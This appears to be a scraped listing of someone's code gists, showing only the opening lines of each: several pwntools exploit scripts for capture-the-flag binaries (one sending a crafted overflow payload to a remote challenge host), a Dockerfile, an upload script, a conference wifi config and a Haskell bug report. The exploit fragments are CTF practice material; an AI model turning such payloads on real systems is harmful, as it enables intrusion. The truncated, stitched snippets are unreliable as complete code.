This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
def pwnit(): | |
#h, w = (1024, 1024) | |
w, h = (1024, 1024) | |
#r.sendline(" "+"0"*4096 + "1 , 0 , A") | |
#r.recvuntil("> ") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
context.arch = "amd64" | |
r = process("./Random_Generator_8c110de2ce4abb0f909bca289fb7b1a99fd18ef1") | |
#r = remote("69.90.132.40", 4000) | |
values = [0] | |
for i in range(1,8): | |
r.sendline(str(i)) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
s = log.waitfor("Calculating CRC reverse lookup table") | |
reverse_crc = {crc.crc_32(p16(i)): p16(i) for i in range(2**16)} | |
s.success() | |
e = ELF("./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d") | |
r = process("./crcme_8416479dcf3a74133080df4f454cd0f76ec9cc8d") | |
@MemLeak |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM fedora | |
RUN dnf -y install glibc.i686 openssl-libs.i686 protobuf-devel.i686 protobuf-lite.i686 protobuf.i686 | |
RUN dnf -y install git scons | |
RUN dnf -y install gcc | |
RUN dnf -y install glibc-devel.i686 libgcc.i686 libstdc++-devel.i686 | |
RUN dnf -y install strace | |
RUN dnf -y install gcc-c++ | |
RUN dnf -y install glibc-devel.x86_64 libgcc.x86_64 libstdc++-devel.x86_64 | |
RUN git clone https://github.com/tsyrogit/zxcvbn-c.git |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import letsenchiffre_pb2 as letsenchiffre | |
from pwn import * | |
def forge_request(password): | |
crtreq = letsenchiffre.CertificateRequest() | |
crtreq.Locality = "A" | |
crtreq.State = "A" | |
crtreq.City = "A" | |
crtreq.Company = "A" | |
crtreq.CommonName = "A" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
WEBROOT="/path/to/web/root/on/server" | |
HOST="put.hostname.here" | |
scp "$1" "${USER}@${HOST}:${WEBROOT}$(basename "$1")" | |
echo "http://${HOST}/$(basename $1)" | |
sha256sum $1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ccc: | |
ssid: 33C3 | |
dns: dhcp | |
wpa: | | |
network={ | |
ssid="33C3" | |
key_mgmt=WPA-EAP | |
eap=TTLS | |
identity="edward" | |
password="snowden" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module Bug where | |
import Control.Monad | |
import Control.Monad.State (gets) | |
import Control.Monad.Trans.Class (lift) | |
foo = lift lift gets | |
{- | |
$ ghc bug.hs |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <sys/mman.h> | |
#include <stdlib.h> | |
#include <fcntl.h> | |
#include <unistd.h> | |
#include <stdio.h> | |
#include <string.h> | |
int main(int argc, char **argv) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
context(arch="amd64") | |
e = ELF("./butterfly_33e86bcc2f0a21d57970dc6907867bed") | |
r = remote("butterfly.pwning.xxx", 9999) | |
#r = process("./butterfly_33e86bcc2f0a21d57970dc6907867bed") | |
addr = 0x400860+3 | |
num = (addr << 3) + 6 | |
r.sendline(str(num).ljust(40)+p64(e.symbols["main"])) |